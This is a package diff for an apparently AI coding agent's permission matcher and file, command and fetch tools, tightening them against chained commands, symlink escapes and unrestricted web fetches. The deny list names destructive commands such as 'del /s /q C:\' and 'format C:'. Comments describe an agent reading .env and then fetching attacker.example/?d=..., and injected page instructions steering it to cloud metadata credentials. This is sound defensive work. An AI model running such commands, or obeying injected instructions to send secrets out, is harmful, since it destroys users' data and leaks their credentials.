jaitus 0.3.4 → 0.3.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -58,22 +58,52 @@ export function parseRule(text) {
58
58
  * it, approving `npm test` would not cover `npm test -- --watch`, and people would
59
59
  * write `npm*` instead — which also matches `npm publish`.
60
60
  */
61
- export function matches(pattern, subject) {
61
+ export function matches(pattern, subject, { command = false } = {}) {
62
62
  if (pattern === null || pattern === '') return true;
63
- const value = String(subject ?? '');
63
+ // Runs of spaces are one space: `git push` is `git push`.
64
+ const value = command ? squash(subject) : String(subject ?? '');
64
65
 
65
66
  if (pattern.endsWith(':*')) {
66
- const prefix = pattern.slice(0, -2).trim();
67
+ const prefix = (command ? squash(pattern.slice(0, -2)) : pattern.slice(0, -2).trim());
67
68
  if (!value.startsWith(prefix)) return false;
68
69
  // A prefix must end at a word boundary: `git pu:*` must not match `git push`
69
70
  // by accident of spelling, but `git push:*` must match `git push --force`.
70
71
  const rest = value.slice(prefix.length);
71
- return rest === '' || /^[\s\-]/.test(rest);
72
+ if (!(rest === '' || /^[\s\-]/.test(rest))) return false;
73
+ // "This command and its arguments" — never "this command, then anything". The rest
74
+ // of the line may not chain, pipe or redirect: `npm test:*` used to approve
75
+ // `npm test && del /s /q C:\` because only the first character after the prefix
76
+ // was looked at.
77
+ // Checked on the RAW line: squashing whitespace above turns a newline — which runs a
78
+ // second command — into a harmless-looking space.
79
+ if (command && SHELL_META.test(String(subject ?? '')) && !SHELL_META.test(prefix)) return false;
80
+ return true;
72
81
  }
73
82
 
74
83
  return globToRegExp(pattern).test(value);
75
84
  }
76
85
 
86
+ /**
87
+ * Characters that make one shell line run more than the command it starts with — in
88
+ * cmd, PowerShell and POSIX shells: chaining, pipes, redirects, substitution, grouping,
89
+ * and a line break.
90
+ */
91
+ export const SHELL_META = /[;&|<>`$(){}\r\n]/;
92
+
93
+ const squash = (value) => String(value ?? '').replace(/\s+/g, ' ').trim();
94
+
95
+ /**
96
+ * The separate commands in one shell line, for DENY checks. A deny rule is anchored to
97
+ * the start of a command, so `deny git push:*` used to miss `cd . && git push --force` —
98
+ * the push is simply the second command. Each piece is checked on its own.
99
+ */
100
+ export function commandsIn(line) {
101
+ return String(line ?? '')
102
+ .split(/&&|\|\||[;&|\r\n]/)
103
+ .map((part) => squash(part).replace(/^[({\s]+|[)}\s]+$/g, ''))
104
+ .filter(Boolean);
105
+ }
106
+
77
107
  const cache = new Map();
78
108
  function globToRegExp(pattern) {
79
109
  if (cache.has(pattern)) return cache.get(pattern);
@@ -99,19 +129,43 @@ function globToRegExp(pattern) {
99
129
  * Both lists are scanned in full even after a match, because a deny anywhere has to
100
130
  * beat an allow everywhere and short-circuiting on the first allow would lose that.
101
131
  */
102
- export function decide({ allow = [], deny = [] }, toolName, input) {
103
- const subject = subjectOf(toolName, input);
132
+ export function decide({ allow = [], deny = [] }, toolName, input, { cwd = null } = {}) {
133
+ const command = COMMAND_TOOLS.has(toolName);
134
+ let subject = subjectOf(toolName, input);
135
+ // A path rule is written relative to the project; the model often sends an absolute
136
+ // path. Compared raw, `deny edit_file(src/**)` did not stop `C:/p/src/a.js`.
137
+ if (cwd && PATH_TOOLS.has(toolName) && subject) {
138
+ const rel = normalise(path.relative(cwd, path.resolve(cwd, subject)));
139
+ if (rel && !rel.startsWith('..') && !path.isAbsolute(rel)) subject = rel;
140
+ }
141
+ // Deny: the whole line, and each command inside it.
142
+ const denySubjects = command ? [subject, ...commandsIn(subject)] : [subject];
104
143
  for (const rule of deny) {
105
144
  const parsed = typeof rule === 'string' ? parseRule(rule) : rule;
106
- if (parsed && parsed.tool === toolName && matches(parsed.pattern, subject)) return 'deny';
145
+ if (parsed && parsed.tool === toolName && denySubjects.some((s) => matches(parsed.pattern, s, { command }))) return 'deny';
107
146
  }
108
147
  for (const rule of allow) {
109
148
  const parsed = typeof rule === 'string' ? parseRule(rule) : rule;
110
- if (parsed && parsed.tool === toolName && matches(parsed.pattern, subject)) return 'allow';
149
+ if (parsed && parsed.tool === toolName && matches(parsed.pattern, subject, { command })) return 'allow';
111
150
  }
112
151
  return 'ask';
113
152
  }
114
153
 
154
+ const COMMAND_TOOLS = new Set(['run_command', 'background_run']);
155
+ const PATH_TOOLS = new Set(['write_file', 'edit_file', 'read_file', 'read_image', 'list_files']);
156
+
157
+ // Programs whose "first argument" is arbitrary code or another program. Generalised,
158
+ // `node -e x` becomes `node:*` and `cmd /c dir` becomes `cmd /c:*` — every command there
159
+ // is. These are always pinned to the exact line approved.
160
+ const RUNS_ANYTHING = new Set([
161
+ 'cmd', 'cmd.exe', 'powershell', 'powershell.exe', 'pwsh', 'pwsh.exe', 'bash', 'sh', 'zsh', 'fish', 'dash',
162
+ 'node', 'node.exe', 'python', 'python3', 'py', 'ruby', 'perl', 'php', 'deno', 'bun', 'npx', 'bunx', 'pnpx',
163
+ 'sudo', 'doas', 'env', 'xargs', 'eval', 'exec', 'start', 'call', 'wsl', 'wsl.exe', 'ssh', 'nohup', 'time', 'watch',
164
+ ]);
165
+ // `npm run <script>` names the script as its third word; `npm run:*` would approve every
166
+ // script in package.json.
167
+ const RUNNER_VERBS = new Set(['run', 'run-script', 'exec', 'x', 'dlx']);
168
+
115
169
  /**
116
170
  * The rule "Allow always" should create for this exact call.
117
171
  *
@@ -125,12 +179,20 @@ export function ruleForCall(toolName, input, cwd) {
125
179
  if (!subject) return `${toolName}`;
126
180
 
127
181
  if (toolName === 'run_command' || toolName === 'background_run') {
128
- const words = subject.trim().split(/\s+/);
129
- // A command with a shell operator in it cannot be generalised safely: `npm test &&
130
- // rm -rf .` would become a rule that approves the rm. Pin those exactly.
131
- if (/[;&|>`$(){}]/.test(subject)) return `${toolName}(${subject})`;
132
- const head = words.slice(0, words[1] && !words[1].startsWith('-') ? 2 : 1).join(' ');
133
- return `${toolName}(${head}:*)`;
182
+ const line = squash(subject);
183
+ const words = line.split(' ');
184
+ const exe = path.basename(words[0].replace(/^["']|["']$/g, '')).toLowerCase();
185
+ // Pinned exactly, never generalised:
186
+ // - a shell operator: `npm test && rm -rf .` must not become `npm test:*`;
187
+ // - an interpreter or launcher: its argument is the whole program;
188
+ // - a flag before the subcommand: `git -C sub status` generalised to `git:*`,
189
+ // which includes `git push`.
190
+ if (SHELL_META.test(line) || RUNS_ANYTHING.has(exe) || (words[1] && words[1].startsWith('-'))) {
191
+ return `${toolName}(${line})`;
192
+ }
193
+ let take = words[1] ? 2 : 1;
194
+ if (RUNNER_VERBS.has(String(words[1]).toLowerCase()) && words[2] && !words[2].startsWith('-')) take = 3;
195
+ return `${toolName}(${words.slice(0, take).join(' ')}:*)`;
134
196
  }
135
197
 
136
198
  if (toolName === 'web_fetch') {
@@ -175,6 +237,15 @@ export const DEFAULT_DENY = [
175
237
  'run_command(**:(){ :|:& };:**)',
176
238
  'run_command(**of=/dev/sd**)',
177
239
  'run_command(**> /dev/sd**)',
240
+ // The Windows spellings of the same accidents — the list had none.
241
+ 'run_command(**rd /s /q C:\\)',
242
+ 'run_command(**rd /s /q C:\\ **)',
243
+ 'run_command(**rmdir /s /q C:\\)',
244
+ 'run_command(**del /s /q C:\\)',
245
+ 'run_command(**del /s /q C:\\*)',
246
+ 'run_command(**format C:**)',
247
+ 'run_command(**Remove-Item -Recurse -Force C:\\)',
248
+ 'run_command(**Remove-Item C:\\ -Recurse**)',
178
249
  ];
179
250
 
180
251
  /** Validate a list of rule strings, returning { rules, bad }. */
@@ -17,7 +17,7 @@
17
17
  import fs from 'node:fs/promises';
18
18
  import fsSync from 'node:fs';
19
19
  import path from 'node:path';
20
- import { spawn } from 'node:child_process';
20
+ import { spawn, spawnSync } from 'node:child_process';
21
21
  import { loadIgnore, IGNORE_FILE } from '../project.js';
22
22
  import { searchWeb, formatResults } from './websearch.js';
23
23
 
@@ -32,6 +32,91 @@ function truncate(text, limit = MAX_OUTPUT) {
32
32
  return `${s.slice(0, limit)}\n\n[truncated — ${s.length - limit} more characters]`;
33
33
  }
34
34
 
35
+ // ── Processes ──
36
+ const CAPTURE_MAX = 2 * 1024 * 1024;
37
+
38
+ /** Collect a stream's bytes up to CAPTURE_MAX; .text() decodes them once. */
39
+ export function captureStream(stream) {
40
+ const chunks = [];
41
+ let size = 0;
42
+ let dropped = 0;
43
+ stream?.on('data', (d) => {
44
+ if (size >= CAPTURE_MAX) { dropped += d.length; return; }
45
+ const take = d.subarray(0, CAPTURE_MAX - size);
46
+ chunks.push(take);
47
+ size += take.length;
48
+ dropped += d.length - take.length;
49
+ });
50
+ return {
51
+ text() {
52
+ const s = new TextDecoder('utf-8').decode(Buffer.concat(chunks));
53
+ return dropped ? `${s}\n[… ${Math.round(dropped / 1024)} KB more output not kept]` : s;
54
+ },
55
+ };
56
+ }
57
+
58
+ /** Kill a child and everything it started. */
59
+ export function killTree(child) {
60
+ if (!child?.pid) return;
61
+ try {
62
+ if (process.platform === 'win32') {
63
+ spawnSync('taskkill', ['/pid', String(child.pid), '/T', '/F'], { stdio: 'ignore', windowsHide: true });
64
+ } else {
65
+ try { process.kill(-child.pid, 'SIGKILL'); } catch { child.kill('SIGKILL'); }
66
+ }
67
+ } catch { /* already gone */ }
68
+ }
69
+
70
+ // ── Text files as they really are on disk ──
71
+ const READ_MAX_BYTES = 16 * 1024 * 1024;
72
+
73
+ async function readHead(file, bytes) {
74
+ const handle = await fs.open(file, 'r');
75
+ try {
76
+ const buf = Buffer.alloc(bytes);
77
+ const { bytesRead } = await handle.read(buf, 0, bytes, 0);
78
+ return buf.subarray(0, bytesRead);
79
+ } finally { await handle.close(); }
80
+ }
81
+
82
+ /** A NUL in the first 8 KB means binary — except UTF-16, which is full of them. */
83
+ export function looksBinary(buf) {
84
+ if (!buf?.length) return false;
85
+ if ((buf[0] === 0xff && buf[1] === 0xfe) || (buf[0] === 0xfe && buf[1] === 0xff)) return false;
86
+ return buf.subarray(0, 8192).includes(0);
87
+ }
88
+
89
+ /**
90
+ * Bytes → { text, eol, bom, encoding }. UTF-16 (what PowerShell 5.1 `>` writes) is
91
+ * decoded rather than returned as garbage, and a UTF-8 BOM is remembered so a rewrite
92
+ * keeps it. `eol` is the file's dominant line ending, so edits can write it back.
93
+ */
94
+ export function decodeText(buf) {
95
+ let encoding = 'utf8';
96
+ let bom = false;
97
+ let text;
98
+ if (buf[0] === 0xff && buf[1] === 0xfe) { encoding = 'utf16le'; bom = true; text = buf.subarray(2).toString('utf16le'); }
99
+ else if (buf[0] === 0xfe && buf[1] === 0xff) {
100
+ encoding = 'utf16be'; bom = true;
101
+ const swapped = Buffer.from(buf.subarray(2)); swapped.swap16();
102
+ text = swapped.toString('utf16le');
103
+ } else if (buf[0] === 0xef && buf[1] === 0xbb && buf[2] === 0xbf) { bom = true; text = buf.subarray(3).toString('utf8'); }
104
+ else text = buf.toString('utf8');
105
+ const crlf = (text.match(/\r\n/g) || []).length;
106
+ const lf = (text.match(/\n/g) || []).length - crlf;
107
+ return { text, eol: crlf > lf ? '\r\n' : '\n', bom, encoding };
108
+ }
109
+
110
+ /** Text (with \n line endings) → bytes in the style decodeText found. */
111
+ export function encodeText(text, { eol = '\n', bom = false, encoding = 'utf8' } = {}) {
112
+ let body = String(text).replace(/\r\n/g, '\n');
113
+ if (eol === '\r\n') body = body.replace(/\n/g, '\r\n');
114
+ if (encoding === 'utf16le') return Buffer.concat([Buffer.from([0xff, 0xfe]), Buffer.from(body, 'utf16le')]);
115
+ if (encoding === 'utf16be') { const b = Buffer.from(body, 'utf16le'); b.swap16(); return Buffer.concat([Buffer.from([0xfe, 0xff]), b]); }
116
+ const out = Buffer.from(body, 'utf8');
117
+ return bom ? Buffer.concat([Buffer.from([0xef, 0xbb, 0xbf]), out]) : out;
118
+ }
119
+
35
120
  /**
36
121
  * Resolve a user/model-supplied path inside the working directory.
37
122
  * Rejects anything that escapes it, including via a symlink whose real path leads out.
@@ -52,8 +137,18 @@ function safePath(cwd, p) {
52
137
  }
53
138
  } catch (e) {
54
139
  if (e instanceof ToolError) throw e;
55
- // Does not exist yet — fine for a write, and the containment check above already
56
- // passed on the literal path.
140
+ // Does not exist yet (a new file): its nearest EXISTING parent must be inside too —
141
+ // otherwise a write through a symlinked or junctioned directory (src -> C:\Windows)
142
+ // escaped the project, because only the missing file itself was ever resolved.
143
+ let parent = path.dirname(resolved);
144
+ while (parent && !fsSync.existsSync(parent) && path.dirname(parent) !== parent) parent = path.dirname(parent);
145
+ try {
146
+ const realParent = fsSync.realpathSync(parent);
147
+ const parentRel = path.relative(fsSync.realpathSync(cwd), realParent);
148
+ if (parentRel.startsWith('..') || path.isAbsolute(parentRel)) {
149
+ throw new ToolError(`Refused: ${p} is inside a folder that links outside the working directory.`);
150
+ }
151
+ } catch (inner) { if (inner instanceof ToolError) throw inner; }
57
152
  }
58
153
  return resolved;
59
154
  }
@@ -94,22 +189,29 @@ function refuseIfIgnored(cwd, p) {
94
189
  }
95
190
  }
96
191
 
97
- async function walk(dir, cwd, out, depth, maxEntries) {
98
- if (out.length >= maxEntries || depth < 0) return;
192
+ /**
193
+ * Every path under `dir`, relative to `cwd`. `out.truncated` is set when the walk
194
+ * stopped early (entry or depth limit) — callers say so, because "no match" from a walk
195
+ * that gave up is not "no match". Dot-entries are skipped unless `dot` (a pattern that
196
+ * asks for `.github/**`); `.git` never.
197
+ */
198
+ async function walk(dir, cwd, out, depth, maxEntries, { dot = false } = {}) {
199
+ if (out.length >= maxEntries) { out.truncated = true; return; }
200
+ if (depth < 0) { out.truncated = true; return; }
99
201
  const ignore = ignoreFor(cwd);
100
202
  let entries;
101
203
  try {
102
204
  entries = await fs.readdir(dir, { withFileTypes: true });
103
205
  } catch { return; }
104
206
  for (const e of entries) {
105
- if (out.length >= maxEntries) return;
106
- if (e.name.startsWith('.') && e.name !== '.env.example') continue;
207
+ if (out.length >= maxEntries) { out.truncated = true; return; }
208
+ if (e.name.startsWith('.') && e.name !== '.env.example' && (!dot || e.name === '.git')) continue;
107
209
  const rel = posix(path.relative(cwd, path.join(dir, e.name)));
108
210
  if (ignore.matches(rel)) continue;
109
211
  if (e.isDirectory()) {
110
212
  if (IGNORED_DIRS.has(e.name)) continue;
111
213
  out.push(`${rel}/`);
112
- await walk(path.join(dir, e.name), cwd, out, depth - 1, maxEntries);
214
+ await walk(path.join(dir, e.name), cwd, out, depth - 1, maxEntries, { dot });
113
215
  } else {
114
216
  out.push(rel);
115
217
  }
@@ -138,8 +240,14 @@ export const TOOLS = [
138
240
  const stat = await fs.stat(file).catch(() => null);
139
241
  if (!stat) throw new ToolError(`No such file: ${input.path}`);
140
242
  if (stat.isDirectory()) throw new ToolError(`${input.path} is a directory — use list_files.`);
141
- const raw = await fs.readFile(file, 'utf8');
243
+ // A 200 MB log was read whole and split just to return 2000 lines — about a GB of
244
+ // memory and a frozen interface. Past READ_MAX_BYTES only the head is read.
245
+ const partial = stat.size > READ_MAX_BYTES;
246
+ const buf = partial ? await readHead(file, READ_MAX_BYTES) : await fs.readFile(file);
247
+ if (looksBinary(buf)) throw new ToolError(`${input.path} is a binary file (${Math.round(stat.size / 1024)} KB), not text. Inspect it with a command if you need to.`);
248
+ const raw = decodeText(buf).text.replace(/\r\n/g, '\n');
142
249
  const lines = raw.split('\n');
250
+ if (partial) lines.push(`[… file is ${Math.round(stat.size / 1048576)} MB; only the first ${Math.round(READ_MAX_BYTES / 1048576)} MB were read. Use search, or a command like findstr / grep, for the rest.]`);
143
251
  const start = Math.max(0, (input.offset || 1) - 1);
144
252
  const end = Math.min(lines.length, start + (input.limit || MAX_READ_LINES));
145
253
  const body = lines.slice(start, end)
@@ -168,9 +276,12 @@ export const TOOLS = [
168
276
  const file = safePath(cwd, input.path);
169
277
  refuseIfIgnored(cwd, input.path);
170
278
  await fs.mkdir(path.dirname(file), { recursive: true });
171
- const existed = await fs.stat(file).then(() => true).catch(() => false);
172
- await fs.writeFile(file, String(input.content ?? ''), 'utf8');
173
- return `${existed ? 'Replaced' : 'Created'} ${input.path}`;
279
+ const before = await fs.readFile(file).catch(() => null);
280
+ // A replaced file keeps its line endings and encoding: rewriting a CRLF file as LF
281
+ // (or a UTF-16 one as UTF-8) changes every line of it in the diff.
282
+ const style = before ? decodeText(before) : { eol: '\n', bom: false, encoding: 'utf8' };
283
+ await fs.writeFile(file, encodeText(String(input.content ?? ''), style));
284
+ return `${before ? 'Replaced' : 'Created'} ${input.path}`;
174
285
  },
175
286
  },
176
287
 
@@ -208,15 +319,26 @@ export const TOOLS = [
208
319
  async run(input, { cwd }) {
209
320
  const file = safePath(cwd, input.path);
210
321
  refuseIfIgnored(cwd, input.path);
211
- const raw = await fs.readFile(file, 'utf8').catch(() => null);
212
- if (raw === null) throw new ToolError(`No such file: ${input.path}`);
322
+ const buf = await fs.readFile(file).catch(() => null);
323
+ if (buf === null) throw new ToolError(`No such file: ${input.path}`);
324
+ if (looksBinary(buf)) throw new ToolError(`${input.path} is a binary file — it cannot be edited as text.`);
325
+ // Worked on with plain \n line endings, written back in the file's own. On Windows
326
+ // most checkouts are CRLF, the model writes \n, and every multi-line `old` failed
327
+ // to match — "That exact text is not in …" until the stuck detector stopped it.
328
+ const style = decodeText(buf);
329
+ const raw = style.text.replace(/\r\n/g, '\n');
330
+ const lf = (s) => String(s).replace(/\r\n/g, '\n');
213
331
 
214
- const edits = Array.isArray(input.edits) && input.edits.length
332
+ const edits = (Array.isArray(input.edits) && input.edits.length
215
333
  ? input.edits
216
- : [{ old: input.old, new: input.new, replace_all: input.replace_all }];
334
+ : [{ old: input.old, new: input.new, replace_all: input.replace_all }])
335
+ .map((e) => (e && typeof e.old === 'string' && typeof e.new === 'string' ? { ...e, old: lf(e.old), new: lf(e.new) } : e));
217
336
  if (!edits.length || edits.some((e) => typeof e?.old !== 'string' || typeof e?.new !== 'string')) {
218
337
  throw new ToolError('Give old and new, or a list of edits each with old and new.');
219
338
  }
339
+ if (edits.some((e) => e.old === '')) {
340
+ throw new ToolError('old is empty. To add text, include a line next to where it goes in old; to create or replace a whole file, use write_file. Nothing was changed.');
341
+ }
220
342
 
221
343
  // Applied to a working copy and written once. A partial multi-edit — three of five
222
344
  // replacements landing before the fourth fails to match — leaves a file in a state
@@ -238,11 +360,18 @@ export const TOOLS = [
238
360
  `That text appears ${occurrences} times in ${input.path}${where}. Include more surrounding context, or set replace_all. Nothing was changed.`,
239
361
  );
240
362
  }
241
- next = edit.replace_all ? next.split(edit.old).join(edit.new) : next.replace(edit.old, edit.new);
363
+ // Spliced, never String.replace with a string: that expands `$$`, `$&` and `$'`
364
+ // in the NEW text, so `echo "pid $$"` was written as `echo "pid $"` — reported
365
+ // as a successful edit.
366
+ if (edit.replace_all) next = next.split(edit.old).join(edit.new);
367
+ else {
368
+ const at = next.indexOf(edit.old);
369
+ next = next.slice(0, at) + edit.new + next.slice(at + edit.old.length);
370
+ }
242
371
  changed += occurrences;
243
372
  }
244
373
 
245
- await fs.writeFile(file, next, 'utf8');
374
+ await fs.writeFile(file, encodeText(next, style));
246
375
  const before = raw.split('\n').length;
247
376
  const after = next.split('\n').length;
248
377
  const delta = after - before;
@@ -269,13 +398,20 @@ export const TOOLS = [
269
398
  summarise: (i) => `glob ${i.pattern}`,
270
399
  async run(input, { cwd }) {
271
400
  const root = safePath(cwd, input.path || '.');
272
- const re = globToRegExp(String(input.pattern || ''));
401
+ // `src\**\*.ts` is how a Windows path is written; the pattern language is `/`.
402
+ const pattern = String(input.pattern || '').replace(/\\/g, '/').replace(/^\.\//, '');
403
+ const re = globToRegExp(pattern);
273
404
  const limit = Math.min(Math.max(Number(input.limit) || 200, 1), 2000);
274
405
  const found = [];
275
- await walk(root, cwd, found, 12, 20_000);
276
- const matched = found.filter((rel) => !rel.endsWith('/') && re.test(rel));
406
+ await walk(root, cwd, found, 12, 20_000, { dot: /(^|\/)\./.test(pattern) });
407
+ // Matched against the path from `path`, returned from the project root: with
408
+ // path "src", "*.ts" means src/*.ts. It was matched against the root-relative
409
+ // path, so glob {pattern:"*.ts", path:"src"} never matched anything.
410
+ const fromRoot = (rel) => posix(path.relative(root, path.resolve(cwd, rel)));
411
+ const matched = found.filter((rel) => !rel.endsWith('/') && re.test(fromRoot(rel)));
412
+ const cut = found.truncated ? ' The search stopped early (a very large tree) — give a narrower path.' : '';
277
413
  if (!matched.length) {
278
- return `No file matches ${input.pattern}. Note that * does not cross a / — use ** for that, as in **/*.ts.`;
414
+ return `No file matches ${input.pattern}.${cut} Note that * does not cross a / — use ** for that, as in **/*.ts.`;
279
415
  }
280
416
  // Newest first: when a pattern matches many files, the ones touched most recently
281
417
  // are almost always the ones the question is about.
@@ -305,9 +441,11 @@ export const TOOLS = [
305
441
  async run(input, { cwd }) {
306
442
  const dir = safePath(cwd, input.path || '.');
307
443
  const found = [];
308
- await walk(dir, cwd, found, input.depth ?? 2, 600);
444
+ // depth N means N levels (the walk counts from 0, so it went one deeper than asked).
445
+ await walk(dir, cwd, found, Math.max(0, (input.depth ?? 2) - 1), 600);
309
446
  if (!found.length) return 'No files found.';
310
- return truncate(found.sort().join('\n'));
447
+ const cut = found.truncated ? '\n\n[stopped at 600 entries or the depth limit — list a subdirectory, or use glob]' : '';
448
+ return truncate(found.sort().join('\n') + cut);
311
449
  },
312
450
  },
313
451
 
@@ -335,12 +473,18 @@ export const TOOLS = [
335
473
  }
336
474
  const dir = safePath(cwd, input.path || '.');
337
475
  const files = [];
338
- await walk(dir, cwd, files, 8, 4000);
476
+ await walk(dir, cwd, files, 12, 20_000);
477
+ // `glob` may be an ending (".ts") or a real pattern ("*.ts", "**/*.ts"). Only the
478
+ // ending worked, so a model passing a glob always got "No matches".
479
+ const g = String(input.glob || '').replace(/\\/g, '/');
480
+ const fileRe = g && /[*?]/.test(g) ? globToRegExp(g.includes('/') ? g : `**/${g}`) : null;
481
+ const wanted = (rel) => !g || (fileRe ? fileRe.test(rel) : rel.endsWith(g));
339
482
  const hits = [];
483
+ let capped = false;
340
484
  for (const rel of files) {
341
485
  if (rel.endsWith('/')) continue;
342
- if (input.glob && !rel.endsWith(input.glob)) continue;
343
- if (hits.length >= 200) break;
486
+ if (!wanted(rel)) continue;
487
+ if (hits.length >= 200) { capped = true; break; }
344
488
  let text;
345
489
  try {
346
490
  const stat = await fs.stat(path.join(cwd, rel));
@@ -352,7 +496,10 @@ export const TOOLS = [
352
496
  if (re.test(line)) hits.push(`${rel}:${i + 1}: ${line.trim().slice(0, 240)}`);
353
497
  });
354
498
  }
355
- return hits.length ? truncate(hits.join('\n')) : 'No matches.';
499
+ const note = capped || hits.length >= 200 ? '\n\n[first 200 matches — narrow the pattern or the path for the rest]'
500
+ : files.truncated ? '\n\n[the search stopped early (a very large tree) — some files were not searched; give a narrower path]' : '';
501
+ if (!hits.length) return files.truncated ? 'No matches in the files searched — but the search stopped early (a very large tree). Give a narrower path.' : 'No matches.';
502
+ return truncate(hits.join('\n') + note);
356
503
  },
357
504
  },
358
505
 
@@ -370,10 +517,11 @@ export const TOOLS = [
370
517
  required: ['command'],
371
518
  },
372
519
  summarise: (i) => i.command,
373
- run(input, { cwd }) {
520
+ run(input, { cwd, signal = null }) {
374
521
  const command = String(input.command || '').trim();
375
522
  if (!command) throw new ToolError('No command given.');
376
523
  const timeout = Math.min(Math.max(Number(input.timeout_ms) || 120_000, 1000), 600_000);
524
+ if (signal?.aborted) return Promise.resolve('Not run: stopped by the user.');
377
525
 
378
526
  return new Promise((resolve) => {
379
527
  // `shell: true` rather than spawning cmd.exe with an argument array.
@@ -390,30 +538,56 @@ export const TOOLS = [
390
538
  // No TTY: anything that would prompt gets EOF and exits instead of hanging
391
539
  // forever with nobody able to type into it.
392
540
  stdio: ['ignore', 'pipe', 'pipe'],
541
+ windowsHide: true,
542
+ // Its own process group on POSIX, so the whole tree can be killed at once.
543
+ detached: process.platform !== 'win32',
393
544
  });
394
545
 
395
- let stdout = '';
396
- let stderr = '';
397
- child.stdout.on('data', (d) => { stdout += d; });
398
- child.stderr.on('data', (d) => { stderr += d; });
546
+ // Bytes, decoded once at the end: decoding chunk by chunk split multi-byte
547
+ // characters across chunks into garbage. Capped: `type huge.log` grew memory
548
+ // until a RangeError crashed the process.
549
+ const out = captureStream(child.stdout);
550
+ const err = captureStream(child.stderr);
551
+ let note = '';
552
+ let settled = false;
553
+
554
+ const finish = (code) => {
555
+ if (settled) return;
556
+ settled = true;
557
+ clearTimeout(timer);
558
+ signal?.removeEventListener?.('abort', onAbort);
559
+ // Each stream is cut on its own and the exit code always survives: truncating
560
+ // the joined text cut the exit code off the end of any long output, so the
561
+ // model could not tell whether the command had worked.
562
+ const parts = [];
563
+ const stdout = truncate(out.text().trim(), 40_000);
564
+ const stderr = truncate(err.text().trim(), 16_000);
565
+ if (stdout) parts.push(stdout);
566
+ if (stderr) parts.push(`stderr:\n${stderr}`);
567
+ if (note) parts.push(note);
568
+ parts.push(`exit code: ${code ?? 'none (killed)'}`);
569
+ resolve(parts.join('\n\n'));
570
+ };
399
571
 
400
- const timer = setTimeout(() => {
401
- child.kill('SIGKILL');
402
- stderr += `\n[killed after ${timeout}ms]`;
403
- }, timeout);
572
+ // Killing the shell alone left what it started running — on Windows the node or
573
+ // npm grandchild kept the pipes open, `close` never came, and the tool never
574
+ // returned: timeouts did nothing and Esc could not stop a command.
575
+ const stop = (why) => { note = why; killTree(child); setTimeout(() => finish(null), 1500).unref?.(); };
576
+ const timer = setTimeout(() => stop(`[stopped after ${Math.round(timeout / 1000)}s — the time limit for this command]`), timeout);
577
+ const onAbort = () => stop('[stopped by the user]');
578
+ signal?.addEventListener?.('abort', onAbort, { once: true });
404
579
 
405
580
  child.on('error', (e) => {
581
+ if (settled) return;
582
+ settled = true;
406
583
  clearTimeout(timer);
407
584
  resolve(`Could not run the command: ${e.message}`);
408
585
  });
409
- child.on('close', (code) => {
410
- clearTimeout(timer);
411
- const parts = [];
412
- if (stdout.trim()) parts.push(stdout.trim());
413
- if (stderr.trim()) parts.push(`stderr:\n${stderr.trim()}`);
414
- parts.push(`exit code: ${code}`);
415
- resolve(truncate(parts.join('\n\n')));
416
- });
586
+ // `exit` is the command finishing; `close` also waits for every process holding
587
+ // its output. A background child can hold that forever — give it a moment, then
588
+ // report what the command itself did.
589
+ child.on('exit', (code) => { setTimeout(() => finish(code), 400).unref?.(); });
590
+ child.on('close', (code) => finish(code));
417
591
  });
418
592
  },
419
593
  },
@@ -451,7 +625,10 @@ export const TOOLS = [
451
625
  name: 'web_fetch',
452
626
  description:
453
627
  'Fetch a web page and return its readable text with scripts, styles and navigation stripped. For documentation, GitHub files (use raw.githubusercontent.com), API references, and any URL that came from web_search. Prefer this over run_command + curl — it is faster and returns clean text.',
454
- needsPermission: false,
628
+ // Asks, per site ("always" covers that host). Reading never asks and fetching did
629
+ // not either: read .env, then fetch attacker.example/?d=... went through silently.
630
+ needsPermission: true,
631
+ network: true,
455
632
  input_schema: {
456
633
  type: 'object',
457
634
  properties: {
@@ -461,9 +638,10 @@ export const TOOLS = [
461
638
  required: ['url'],
462
639
  },
463
640
  summarise: (i) => `fetch ${String(i.url).slice(0, 80)}`,
464
- async run(input) {
641
+ async run(input, { signal = null } = {}) {
465
642
  const raw = String(input.url || '').trim();
466
643
  if (!/^https?:\/\//i.test(raw)) throw new ToolError('Give a full http(s) URL.');
644
+ await refusePrivateTarget(raw);
467
645
  const limit = Math.min(Math.max(Number(input.max_chars) || 20_000, 1000), 50_000);
468
646
 
469
647
  const cached = fetchCache.get(raw);
@@ -480,7 +658,7 @@ export const TOOLS = [
480
658
  'accept-language': 'en-US,en;q=0.9',
481
659
  },
482
660
  redirect: 'follow',
483
- signal: AbortSignal.timeout(20_000),
661
+ signal: signal ? AbortSignal.any([signal, AbortSignal.timeout(20_000)]) : AbortSignal.timeout(20_000),
484
662
  });
485
663
  } catch (e) {
486
664
  throw new ToolError(explainFetchFailure(e, raw));
@@ -502,11 +680,14 @@ export const TOOLS = [
502
680
  throw new ToolError(`That URL is ${ctype.split(';')[0]}, not a document. Use read_image for a local image file.`);
503
681
  }
504
682
 
683
+ // Read up to FETCH_MAX_BYTES: res.text() had no limit, so a 20-second download could
684
+ // be hundreds of MB in memory.
685
+ const body = await readCapped(res, FETCH_MAX_BYTES);
505
686
  let text;
506
687
  if (/json|xml|csv|javascript|text\/plain|markdown/i.test(ctype)) {
507
- text = await res.text();
688
+ text = body;
508
689
  } else {
509
- text = readableText(await res.text());
690
+ text = readableText(body);
510
691
  if (!text.trim()) {
511
692
  throw new ToolError(
512
693
  'The page returned no readable text — it is almost certainly rendered by JavaScript. '
@@ -691,6 +872,41 @@ export async function readImageForModel(cwd, p) {
691
872
  return block;
692
873
  }
693
874
 
875
+ const FETCH_MAX_BYTES = 5 * 1024 * 1024;
876
+
877
+ async function readCapped(res, max) {
878
+ if (!res.body?.getReader) return (await res.text()).slice(0, max);
879
+ const reader = res.body.getReader();
880
+ const chunks = [];
881
+ let size = 0;
882
+ for (;;) {
883
+ const { done, value } = await reader.read();
884
+ if (done) break;
885
+ chunks.push(Buffer.from(value));
886
+ size += value.length;
887
+ if (size >= max) { try { await reader.cancel(); } catch { /* closed */ } break; }
888
+ }
889
+ return new TextDecoder('utf-8').decode(Buffer.concat(chunks).subarray(0, max));
890
+ }
891
+
892
+ /**
893
+ * The cloud metadata endpoint and the link-local range: never. A fetched page or file
894
+ * with injected instructions could otherwise have the agent read an instance's
895
+ * credentials (169.254.169.254) and send them on. Localhost and the LAN stay reachable —
896
+ * a dev server is a normal thing to check — and every fetch asks first.
897
+ */
898
+ async function refusePrivateTarget(raw) {
899
+ let host = '';
900
